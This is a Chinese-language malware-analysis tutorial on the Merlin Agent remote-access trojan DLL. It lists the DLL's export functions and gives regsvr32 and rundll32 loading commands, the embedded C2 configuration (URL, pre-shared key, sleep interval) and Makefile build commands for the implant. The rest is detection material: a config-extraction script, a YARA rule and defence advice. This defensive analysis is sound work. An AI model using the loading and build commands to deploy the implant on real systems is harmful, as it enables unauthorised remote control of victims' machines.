Merlin后渗透利用框架之Merlin Agent远控木马剖析
字数 1999 2025-08-22 12:23:30
Merlin后渗透利用框架之Merlin Agent远控木马深度剖析
1. 概述
Merlin是一个基于Golang开发的开源后渗透利用框架,由多个组件构成,包括Merlin Server、Merlin CLI、Merlin Agent EXE和Merlin Agent DLL。本教学文档将重点剖析Merlin Agent远控木马的技术细节。
2. Merlin框架组件
- Merlin Server:默认监听本地的50051端口
- Merlin CLI:命令行交互式界面,使用gRPC连接Merlin Server
- Merlin Agent EXE:可执行文件形式的木马
- Merlin Agent DLL:DLL形式的木马(攻击者常用)
3. Merlin Agent DLL样本分析
3.1 样本基本信息
- 下载地址:https://github.com/Ne0nd0g/merlin-agent-dll/releases
- 样本版本:v2.3.1
- 编译语言:Golang
3.2 导出函数分析
Merlin Agent DLL提供了多个导出函数,便于不同方式加载:
| 导出函数名 | 功能描述 | 加载方式 |
|---|---|---|
| DllInstall | 执行run(url) | regsvr32.exe /s /n /i merlin.dll |
| DllRegisterServer | 执行run(url) | regsvr32.exe /s merlin.dll |
| DllUnregisterServer | 执行run(url) | regsvr32.exe /s /u merlin.dll |
| Merlin | 接受C *char字符串作为URL参数 | DLL加载时使用 |
| Run | 从命令行参数获取URL | rundll32.exe merlin.dll,Run https://127.0.0.1:443 |
| VoidFunc | 执行run(url) | 与PowerSploit的Invoke-ReflectivePEInjection.ps1配合使用 |
3.3 配置信息提取
Merlin Agent的配置信息在编译时通过-ldflags参数嵌入,可通过以下方法快速提取:
- 在样本文件中搜索
-ldflags=字符串 - 提取到的配置信息示例:
-ldflags="-s -w -X \"main.auth=opaque\" -X \"main.addr=127.0.0.1:4444\" -X \"main.transforms=jwe,gob-base\" -X \"main.listener=\" -X \"github.com/Ne0nd0g/merlin-agent/v2/core.Build=d40b50a10e57c0b30f40e5af0dfb46bd4e692d69\" -X \"main.protocol=h2\" -X \"main.url=https://127.0.0.1:443\" -X \"main.host=\" -X \"main.httpClient=go\" -X \"main.psk=merlin\" -X \"main.secure=false\" -X \"main.sleep=30s\" -X \"main.proxy=\" -X \"main.useragent=Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537.36\" -X \"main.headers=\" -X \"main.skew=3000\" -X \"main.padding=4096\" -X \"main.killdate=0\" -X \"main.maxretry=7\" -X \"main.parrot=\" -H=windowsgui -buildid="
关键配置参数说明:
auth:认证方式addr:连接地址transforms:数据传输转换方式protocol:通信协议url:C2服务器地址psk:预共享密钥sleep:心跳间隔useragent:HTTP请求使用的User-Agentkilldate:木马自毁日期
3.4 自动化提取配置信息脚本
基于上述发现,可以编写自动化脚本提取配置信息:
import re
def extract_merlin_config(binary_data):
pattern = rb'-ldflags="(.+?)"'
match = re.search(pattern, binary_data)
if match:
config_str = match.group(1).decode('utf-8')
config_items = re.findall(r'-X\s*\\"([^=]+)=([^\\]+)\\"', config_str)
return dict(config_items)
return {}
# 使用示例
with open('merlin-agent.dll', 'rb') as f:
data = f.read()
config = extract_merlin_config(data)
print(config)
4. 编译原理分析
Merlin Agent使用Golang的-ldflags编译选项嵌入配置:
-s:去除符号表和调试信息-w:去除DWARF调试信息-X:设置变量的值
Merlin项目使用Makefile进行编译,Makefile中定义了这些编译选项:
EXE木马Makefile示例:
build:
go build -ldflags="-s -w -X 'main.url=$(URL)' -X 'main.psk=$(PSK)'" -o merlin-agent.exe
DLL木马Makefile示例:
build:
go build -buildmode=c-shared -ldflags="-s -w -X 'main.url=$(URL)' -X 'main.psk=$(PSK)'" -o merlin-agent.dll
5. 检测方法
5.1 YARA规则检测
可使用以下YARA规则检测Merlin Agent木马:
rule Merlin_Agent {
meta:
description = "Detects Merlin Agent malware"
author = "Neo23x0"
date = "2025-02-07"
strings:
$go = "Go build ID:"
$merlin1 = "github.com/Ne0nd0g/merlin"
$merlin2 = "main.run"
$merlin3 = "main.(*Agent).Run"
condition:
all of them
5.2 行为特征检测
-
网络通信特征:
- 定期心跳通信(默认30秒间隔)
- 使用特定的User-Agent
- HTTPS协议通信
-
进程行为特征:
- 通过rundll32或regsvr32加载DLL
- 无GUI界面运行(-H=windowsgui编译选项)
-
配置信息特征:
- 样本中包含
-ldflags=字符串 - 包含Merlin特定的配置参数
- 样本中包含
6. 防御建议
-
网络层防御:
- 监控异常HTTPS连接
- 检测使用默认User-Agent的请求
-
主机层防御:
- 限制rundll32和regsvr32的执行
- 监控异常DLL加载行为
-
样本检测:
- 使用YARA规则扫描可疑文件
- 检测Golang编译的DLL文件
- 检查文件中是否包含
-ldflags=字符串
-
日志分析:
- 分析进程创建日志,检测可疑的DLL加载
- 监控网络连接日志,检测周期性外联
7. 总结
Merlin Agent是一个功能强大的开源远控木马,具有以下特点:
- 使用Golang开发,跨平台兼容性好
- 提供多种加载方式,隐蔽性强
- 配置信息编译时嵌入,但可通过特定方法提取
- 采用模块化设计,功能可扩展
通过深入分析其技术细节,可以有效检测和防御此类威胁。防御者应重点关注Golang编译的DLL文件、特定的加载方式以及网络通信特征。